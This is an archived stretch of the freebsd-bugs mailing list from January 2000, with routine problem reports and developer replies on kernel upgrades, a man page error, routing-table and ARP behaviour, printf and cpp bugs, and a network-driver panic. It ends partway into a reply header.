majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 13:41: 2 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id B78F915406 for ; Wed, 5 Jan 2000 13:41:00 -0800 (PST) (envelope-from mjacob@feral.com) Received: from beppo.feral.com (beppo [192.67.166.79]) by feral.com (8.9.3/8.9.3) with ESMTP id NAA14597; Wed, 5 Jan 2000 13:38:47 -0800 Date: Wed, 5 Jan 2000 13:40:54 -0800 (PST) From: Matthew Jacob Reply-To: mjacob@feral.com To: Wes Bauske Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/15611: EIDE Large Disk Support, Newfs problem, File systemcorruption,IBM-DPTA-353750 In-Reply-To: <3873B07A.A97075E2@paralleldata.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I don't think a 4.0 kernel on to of 3.x works very well- probably does, but why stretch it? I have no idea about the upgrade path- I just do a forklift upgrade myself. Go via ftp to current.freebsd.org /pub/FreeBSD/snapshots/i386 and select anyone of a number of snapshots. Basically I just snarf the floppy images and boot those and install across the wire- even with 144Kbit DSL it's not too bad. On Wed, 5 Jan 2000, Wes Bauske wrote: > Matthew Jacob wrote: > > > > > So, do I need a different kernel to pick up this new ata1 > > > driver?? Is this available in the 3.4 kernel config? > > > > This is a 4.0 thing, I believe. It's a driver that's in better shape > > than wd. > > I've looked at the 4.0-CURRENT directory on ftp.cdrom.com/pub/FreeBSD > and it's not clear to me where to get the newest kernel > from. Exactly how much do I have to upgrade to get the same > kernel you're using? If its an FAQ, point me at it... > > Thanks, > > Wes > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 14: 4:17 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from kronos.alcnet.com (kronos.alcnet.com [63.69.28.22]) by hub.freebsd.org (Postfix) with ESMTP id E752115483 for ; Wed, 5 Jan 2000 14:04:13 -0800 (PST) (envelope-from kbyanc@posi.net) X-Provider: ALC Communications, Inc. http://www.alcnet.com/ Received: from localhost (kbyanc@localhost) by kronos.alcnet.com (8.9.3/8.9.3/antispam) with ESMTP id RAA69655; Wed, 5 Jan 2000 17:04:01 -0500 (EST) Date: Wed, 5 Jan 2000 17:04:00 -0500 (EST) From: Kelly Yancey X-Sender: kbyanc@kronos.alcnet.com To: Matthew Jacob Cc: Wes Bauske , freebsd-bugs@FreeBSD.ORG Subject: Re: kern/15611: EIDE Large Disk Support, Newfs problem, File systemcorruption,IBM-DPTA-353750 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 5 Jan 2000, Matthew Jacob wrote: > > I don't think a 4.0 kernel on to of 3.x works very well- probably does, > but why stretch it? I have no idea about the upgrade path- I just do a > forklift upgrade myself. It won't work. 4.0 has undergone some much-needed restructuring with regards to it's signal implementation. Upgrading from 3.x has, as a result, become the topic of much debate on the -current mailing list. But it is sufficient to say that a 4.0 kernel and 3.x world will not mix. Kelly -- Kelly Yancey - kbyanc@posi.net - Richmond, VA Analyst / E-business Development, Bell Industries http://www.bellind.com/ Maintainer, BSD Driver Database http://www.posi.net/freebsd/drivers/ Coordinator, Team FreeBSD http://www.posi.net/freebsd/Team-FreeBSD/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 14:10: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 670B01546A for ; Wed, 5 Jan 2000 14:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id OAA51502; Wed, 5 Jan 2000 14:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id 5D299153A3; Wed, 5 Jan 2000 14:05:47 -0800 (PST) Message-Id: <20000105220547.5D299153A3@hub.freebsd.org> Date: Wed, 5 Jan 2000 14:05:47 -0800 (PST) From: herbelot@cybercable.fr To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: misc/15925: the telnetd(8) refers to an inexistant bftp(1) daemon Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15925 >Category: misc >Synopsis: the telnetd(8) refers to an inexistant bftp(1) daemon >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: doc-bug >Submitter-Id: current-users >Arrival-Date: Wed Jan 5 14:10:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Thierry Herbelot >Release: 4.0 Current >Organization: None >Environment: FreeBSD multi.herbelot.nom 4.0-CURRENT FreeBSD 4.0-CURRENT #1: Tue Jan 4 23:26:15 CET 2000 thierry.herbelot@multi.herbelot.nom:/usr/src/sys/compile/multi i386 >Description: the man page of telnetd tells of a -B (Bftp) option for telnetd, which seems from the code to be specific to Cray machines. If this option does not apply to FreeBSD, it would be better to get it away from the man page >How-To-Repeat: man telnetd >Fix: either conditionalize the man page or add a mention that the -B option is only available on UNICOS >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 15:40:32 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 7DCA6154B6 for ; Wed, 5 Jan 2000 15:40:31 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id PAA77471; Wed, 5 Jan 2000 15:40:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Wed, 5 Jan 2000 15:40:01 -0800 (PST) Message-Id: <200001052340.PAA77471@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Christian Weisgerber Subject: Re: bin/15906: rcmd(3) prototype disagrees with definition Reply-To: Christian Weisgerber Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/15906; it has been noted by GNATS. From: Christian Weisgerber To: Garrett Wollman Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: bin/15906: rcmd(3) prototype disagrees with definition Date: Thu, 6 Jan 2000 00:35:40 +0100 Garrett Wollman: > >> Synopsis: rcmd(3) prototype disagrees with definition > > No, it does not. Indeed. Please close the PR. Sorry for wasting everybody's time. I should have noticed that this is all throughout the tree. > Please read a text on Standard C, such as K&R or H&S. Sigh. I found it, section A7.3.2 in K&Rv2. Integral promotion of integral type arguments and parameters for old style function declarations. -- Christian "naddy" Weisgerber naddy@mips.rhein-neckar.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 16:20:32 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 5099B154E2 for ; Wed, 5 Jan 2000 16:20:30 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id QAA87602; Wed, 5 Jan 2000 16:20:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Wed, 5 Jan 2000 16:20:03 -0800 (PST) Message-Id: <200001060020.QAA87602@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Bob Willcox Subject: Re: kern/10872: Panic in soreceive() due to NULL mbuf pointer Reply-To: Bob Willcox Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/10872; it has been noted by GNATS. From: Bob Willcox To: Terry Kennedy Cc: freebsd-gnats-submit@freebsd.org, bob@pmr.com Subject: Re: kern/10872: Panic in soreceive() due to NULL mbuf pointer Date: Wed, 5 Jan 2000 18:13:55 -0600 I have recently put together a test system running 3.4-stable (as of 1/4/2000) and am able to easily reproduce the sbdrop panic by running the little test script that I included in the bug report last summer. I run the script on 4 other systems, targetting the test system. Within a few minutes I consistently get the panic. I have my system built with debug symbols and it dutifully creates a crash dump. I haven't had much time to go any further than this with it right now, though (we are in the middle of renumbering our company's entire network and somehow I got stuck with planning and driving the effort:-(). Bob On Tue, Dec 21, 1999 at 02:42:29PM -0500, Terry Kennedy wrote: > > What would be interesting to find out is if you can still reproduce > > it on -CURRENT and 3.3-STABLE. This time, I would ask for you to try > > printing out the value of the mmbfree mbuf pointer as well as the mclfree > > mcluster pointer from the debugger. Also, if you ever end up crashing > > somewhere else (besides for in soreceive or sbdrop), e.g. somewhere > > directly from the if_fxp code, or if something has significantly changed > > from the first two traces that you provided, if you could get a new trace > > and post that along as well. > > I have a news server (Diablo) that moves about .3TB/day. After being down > (due to an unrelated problem) for about 4 hours, I am getting these panics > pretty much continuously (about 1 every 5 minutes) now. The FreeBSD version > is 3.3-RELEASE from the WC CDROM. > > I'm using an NCR 875 controller and a DEC 21140 Ethernet chip on a full- > duplex 100Mbit segment. NMBCLUSTERS is 32768 due to an earlier problem with > running out of mbufs with maxusers=256. > > Most of the panics are the sbdrop panic, but some of them are a trap 12 > in tulip_rx_intr(). > > Unfortunately, my kernel wasn't config'd with -g. I'm building a new one > now and will report back with any additional info I come up with. > > If any of the developers would find access to the box to be helpful and > can respond rapidly, I'd be glad to give them access. But once it gets > caught up, it will likely stop crashing. > > Terry Kennedy http://www.tmk.com > terry@tmk.com Jersey City, NJ USA > +1 201 451 4554 (voice) +1 201 451 0900 (FAX) -- Bob Willcox Don't tell me that worry doesn't do any good. bob@pmr.com I know better. The things I worry about don't Austin, TX happen. -- Watchman Examiner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 16:41: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id CEEEA15555 for ; Wed, 5 Jan 2000 16:41:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id QAA92874; Wed, 5 Jan 2000 16:40:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id 0170D154E7; Wed, 5 Jan 2000 16:30:10 -0800 (PST) Message-Id: <20000106003010.0170D154E7@hub.freebsd.org> Date: Wed, 5 Jan 2000 16:30:10 -0800 (PST) From: kj@milinx.com To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: misc/15928: the routing table seems to mirror the arp cache Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15928 >Category: misc >Synopsis: the routing table seems to mirror the arp cache >Confidential: no >Severity: non-critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Wed Jan 5 16:40:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: kj >Release: 3.3 >Organization: Milinx >Environment: FreeBSD heracles.internal.com 3.3-RELEASE FreeBSD 3.3-RELEASE #0: Thu Sep 16 23:40:35 GMT 1999 jkh@highwing.cdrom.com:/usr/src/sys/compile/GENERIC i386 >Description: Every computer, once a session is open (i.e. ssh to it)) it then put into the route table in the FreeBSD PC. Now if I wanted to make FreeBSD our router, and I have 2 class C subnets the routing table could grow up to about 500 lines, when maybe 7 lines would be just fine. If you delete a line and then start another session the route will reappear. It would slow down network traffice as it has to go through all those route lines, and if there wasn't that many PCs on the network (say 30) it is still _very_ annoying to see all these route lines in the table. Is gets very confusing and frustrating to read and troubleshoot routing problems when you should get a few screen fulls of route lines, when say the manual 7 you put in is fine -> perfect. >How-To-Repeat: netstat -rn and see for yourself >Fix: use Linux as they don't seem to have this "feature" I don't mind so much if it is set as the default, but at least give an option to turn it off. I have asked in #freebsd on Efnet about this and "they" say it can't be turned off, I am just verifying it. Thanks >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 17:37: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 8AD2815517; Wed, 5 Jan 2000 17:37:01 -0800 (PST) (envelope-from archie@FreeBSD.org) Received: (from archie@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id RAA00775; Wed, 5 Jan 2000 17:33:16 -0800 (PST) (envelope-from archie@FreeBSD.org) Date: Wed, 5 Jan 2000 17:33:16 -0800 (PST) From: Message-Id: <200001060133.RAA00775@freefall.freebsd.org> To: archie@FreeBSD.org, freebsd-alpha@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: alpha/15929: printf(1) truncates if it sees \000 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: printf(1) truncates if it sees \000 Responsible-Changed-From-To: freebsd-alpha->freebsd-bugs Responsible-Changed-By: archie Responsible-Changed-When: Wed Jan 5 17:32:35 PST 2000 Responsible-Changed-Why: Category should be 'bin' instead of 'alpha'. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 17:44:12 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 70AA014FB0 for ; Wed, 5 Jan 2000 17:44:11 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id RAA02272; Wed, 5 Jan 2000 17:40:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Wed, 5 Jan 2000 17:40:02 -0800 (PST) Message-Id: <200001060140.RAA02272@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Steve Price Subject: Re: alpha/15929: printf(1) truncates if it sees 000 Reply-To: Steve Price Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/15929; it has been noted by GNATS. From: Steve Price To: Archie Cobbs Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: alpha/15929: printf(1) truncates if it sees 000 Date: Wed, 5 Jan 2000 19:36:15 -0600 (CST) On Wed, 5 Jan 2000, Archie Cobbs wrote: # >Number: 15929 # >Category: alpha # >Synopsis: printf(1) truncates if it sees \000 # >Description: # # If '\000' is used in a printf(1) format string, the # string is trunctated at that point # # >How-To-Repeat: # # $ printf 'a\000truncated\n' # # This outputs "a" instead of "atruncated" This really isn't an Alpha-specific problem is it? I just tried it on both i386 and Alpha boxes, and I get the similar results depending on the shell I use. None I tried give the behavior you suggest. Which shell were you using and what does 'which printf' say? Thanks. -steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 18: 4:42 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 74D6B14CEB for ; Wed, 5 Jan 2000 18:04:41 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id SAA08890; Wed, 5 Jan 2000 18:00:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Wed, 5 Jan 2000 18:00:02 -0800 (PST) Message-Id: <200001060200.SAA08890@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Charles Anderson Subject: Re: misc/15858: mmaping /dev/dsp does not return a valid pointer Reply-To: Charles Anderson Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR misc/15858; it has been noted by GNATS. From: Charles Anderson To: freebsd-gnats-submit@FreeBSD.org, caa@columbus.rr.com Cc: Subject: Re: misc/15858: mmaping /dev/dsp does not return a valid pointer Date: Wed, 05 Jan 2000 20:46:22 -0500 Please close this. I figured out what my damn problem was. I was porting some linux code (that worked under the emulator) that kept segfaulting. Linux does not seem to require a PROT_READ on the mmap call, FreeBSD does, the linux module does this automatically. Call it a learning experience. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 18:10:20 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 2B86D15533; Wed, 5 Jan 2000 18:10:18 -0800 (PST) (envelope-from steve@FreeBSD.org) Received: (from steve@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id SAA10809; Wed, 5 Jan 2000 18:07:58 -0800 (PST) (envelope-from steve@FreeBSD.org) Date: Wed, 5 Jan 2000 18:07:58 -0800 (PST) From: Message-Id: <200001060207.SAA10809@freefall.freebsd.org> To: caa@columbus.rr.com, steve@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: misc/15858: mmaping /dev/dsp does not return a valid pointer Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: mmaping /dev/dsp does not return a valid pointer State-Changed-From-To: open->closed State-Changed-By: steve State-Changed-When: Wed Jan 5 18:07:29 PST 2000 State-Changed-Why: Closed at originator's request. See audit trail for details. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 19:14:51 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 9C943154FC; Wed, 5 Jan 2000 19:14:45 -0800 (PST) (envelope-from steve@FreeBSD.org) Received: (from steve@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id SAA15018; Wed, 5 Jan 2000 18:27:50 -0800 (PST) (envelope-from steve@FreeBSD.org) Date: Wed, 5 Jan 2000 18:27:50 -0800 (PST) From: Message-Id: <200001060227.SAA15018@freefall.freebsd.org> To: naddy@mips.rhein-neckar.de, steve@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/15906: rcmd(3) prototype disagrees with definition Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: rcmd(3) prototype disagrees with definition State-Changed-From-To: open->closed State-Changed-By: steve State-Changed-When: Wed Jan 5 18:27:33 PST 2000 State-Changed-Why: Closed at originator's request. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 19:14:55 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 18A8F1550F; Wed, 5 Jan 2000 19:14:46 -0800 (PST) (envelope-from jmb@FreeBSD.org) Received: (from jmb@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id SAA15946; Wed, 5 Jan 2000 18:30:45 -0800 (PST) (envelope-from jmb@FreeBSD.org) Date: Wed, 5 Jan 2000 18:30:45 -0800 (PST) From: Message-Id: <200001060230.SAA15946@freefall.freebsd.org> To: kj@milinx.com, jmb@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: misc/15928: the routing table seems to mirror the arp cache Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: the routing table seems to mirror the arp cache State-Changed-From-To: open->closed State-Changed-By: jmb State-Changed-When: Wed Jan 5 18:13:26 PST 2000 State-Changed-Why: The ARP cache is stored in the route table since the Net/3 release as detailed by Gary R Wright and W Richard Stevens in _TCP/IP_Illustrated_Volume_2_ page 675. This behavior is not a bug but rather a deliberate design choice. At tthis time one can not exclude the ARP entries when displaying the routing table using "netstat -r". To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 19:24:43 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 550EE15120 for ; Wed, 5 Jan 2000 19:24:42 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id TAA27192; Wed, 5 Jan 2000 19:20:04 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Wed, 5 Jan 2000 19:20:04 -0800 (PST) Message-Id: <200001060320.TAA27192@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Garrett Wollman Subject: misc/15928: the routing table seems to mirror the arp cache Reply-To: Garrett Wollman Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR misc/15928; it has been noted by GNATS. From: Garrett Wollman To: kj@milinx.com Cc: freebsd-gnats-submit@FreeBSD.ORG Subject: misc/15928: the routing table seems to mirror the arp cache Date: Wed, 5 Jan 2000 21:27:38 -0500 (EST) < I don't mind so much if it is set as the default, but at least give > an option to turn it off. I have asked in #freebsd on Efnet about > this and "they" say it can't be turned off, I am just verifying it. There is no ``arp cache''. That *is* the routing table. If you don't like it, too bad. -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 1:21:55 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 23BAD155F1 for ; Thu, 6 Jan 2000 01:21:53 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id BAA80768; Thu, 6 Jan 2000 01:20:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from gw-nl4.philips.com (gw-nl4.philips.com [192.68.44.36]) by hub.freebsd.org (Postfix) with ESMTP id 487AD14F70 for ; Thu, 6 Jan 2000 01:10:14 -0800 (PST) (envelope-from Jos.Backus@nl.origin-it.com) Received: from smtprelay-nl1.philips.com (localhost.philips.com [127.0.0.1]) by gw-nl4.philips.com with ESMTP id KAA21020 for ; Thu, 6 Jan 2000 10:09:37 +0100 (MET) (envelope-from Jos.Backus@nl.origin-it.com) Received: from smtprelay-eur1.philips.com(130.139.36.3) by gw-nl4.philips.com via mwrap (4.0a) id xma021017; Thu, 6 Jan 00 10:09:37 +0100 Received: from hal.mpn.cp.philips.com (hal.mpn.cp.philips.com [130.139.64.195]) by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with SMTP id KAA23393 for ; Thu, 6 Jan 2000 10:09:36 +0100 (MET) Received: (qmail 78073 invoked by uid 666); 6 Jan 2000 09:08:15 -0000 Message-Id: <20000106090815.78072.qmail@hal.mpn.cp.philips.com> Date: 6 Jan 2000 09:08:15 -0000 From: Jos Backus Reply-To: Jos Backus To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/15932: /usr/bin/cpp behavioral change breaks calendar(1) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15932 >Category: bin >Synopsis: /usr/bin/cpp behavioral change breaks calendar(1) >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Jan 6 01:20:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Jos Backus >Release: FreeBSD 4.0-CURRENT i386 >Organization: Origin B.V. >Environment: -current as of yesterday >Description: calendar(1) runs /usr/bin/cpp to preprocess its data files. Apparently some recent change in /usr/bin/cpp broke parsing of these files, in particular single quotes yield syntax errors (it seems cpp wants to interpret them as C-type strings). >How-To-Repeat: hal:~% calendar |& head In file included from :3: /usr/share/calendar/calendar.birthday:93: unterminated character constant /usr/share/calendar/calendar.birthday:103: unterminated character constant /usr/share/calendar/calendar.birthday:117: unterminated character constant /usr/share/calendar/calendar.birthday:170: unterminated character constant /usr/share/calendar/calendar.birthday:182: unterminated character constant /usr/share/calendar/calendar.birthday:225: unterminated character constant /usr/share/calendar/calendar.birthday:232: unterminated character constant In file included from :4: /usr/share/calendar/calendar.christian:26: unterminated character constant >Fix: Add -traditional to the cpp commandline: hal:/usr/src/usr.bin/calendar# diff -u io.c.orig io.c --- io.c.orig Thu Jan 6 09:59:05 2000 +++ io.c Thu Jan 6 09:56:30 2000 @@ -274,7 +274,7 @@ warnx("setuid failed"); _exit(1); } - execl(_PATH_CPP, "cpp", "-P", "-I.", _PATH_INCLUDE, NULL); + execl(_PATH_CPP, "cpp", "-P", "-traditional", "-I.", _PATH_INCLUDE, NULL); warn(_PATH_CPP); _exit(1); } >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 1:44: 7 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id BC72A1571D; Thu, 6 Jan 2000 01:43:23 -0800 (PST) (envelope-from ru@FreeBSD.org) Received: (from ru@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id BAA82913; Thu, 6 Jan 2000 01:43:23 -0800 (PST) (envelope-from ru@FreeBSD.org) Date: Thu, 6 Jan 2000 01:43:23 -0800 (PST) From: Message-Id: <200001060943.BAA82913@freefall.freebsd.org> To: adam@veda.is, ru@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/1943: route(8) args Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: route(8) args State-Changed-From-To: suspended->closed State-Changed-By: ru State-Changed-When: Thu Jan 6 01:41:14 PST 2000 State-Changed-Why: Fixed a long ago in src/sbin/route/route.c (revs 1.30 and 1.29.2.1). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 2:33: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id A54CD15477; Thu, 6 Jan 2000 02:33:01 -0800 (PST) (envelope-from ru@FreeBSD.org) Received: (from ru@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id CAA87470; Thu, 6 Jan 2000 02:33:01 -0800 (PST) (envelope-from ru@FreeBSD.org) Date: Thu, 6 Jan 2000 02:33:01 -0800 (PST) From: Message-Id: <200001061033.CAA87470@freefall.freebsd.org> To: ru@FreeBSD.org, freebsd-bugs@FreeBSD.org, jedgar@FreeBSD.org Subject: Re: kern/12927: [PATCH] using BROKEN_KEYBOARD_RESET option gives warning upon kernel config(8) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: [PATCH] using BROKEN_KEYBOARD_RESET option gives warning upon kernel config(8) Responsible-Changed-From-To: freebsd-bugs->jedgar Responsible-Changed-By: ru Responsible-Changed-When: Thu Jan 6 02:30:04 PST 2000 Responsible-Changed-Why: The originator volunteered to "assist in relieving the pressure on the PR system". To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 2:38:58 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from celery.dragondata.com (celery.dragondata.com [205.253.12.6]) by hub.freebsd.org (Postfix) with ESMTP id E981815392 for ; Thu, 6 Jan 2000 02:38:56 -0800 (PST) (envelope-from toasty@celery.dragondata.com) Received: (from toasty@localhost) by celery.dragondata.com (8.9.3/8.9.3) id EAA59886; Thu, 6 Jan 2000 04:38:37 -0600 (CST) (envelope-from toasty) From: Kevin Day Message-Id: <200001061038.EAA59886@celery.dragondata.com> Subject: Re: conf/15737: rc.conf should have '-s' for syslogd options To: sheldonh@uunet.co.za Date: Thu, 6 Jan 2000 04:38:37 -0600 (CST) Cc: freebsd-bugs@FreeBSD.ORG In-Reply-To: <199912291240.EAA71870@freefall.freebsd.org> from "Sheldon Hearn" at Dec 29, 1999 04:40:02 AM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > The following reply was made to PR conf/15737; it has been noted by GNATS. > > From: Sheldon Hearn 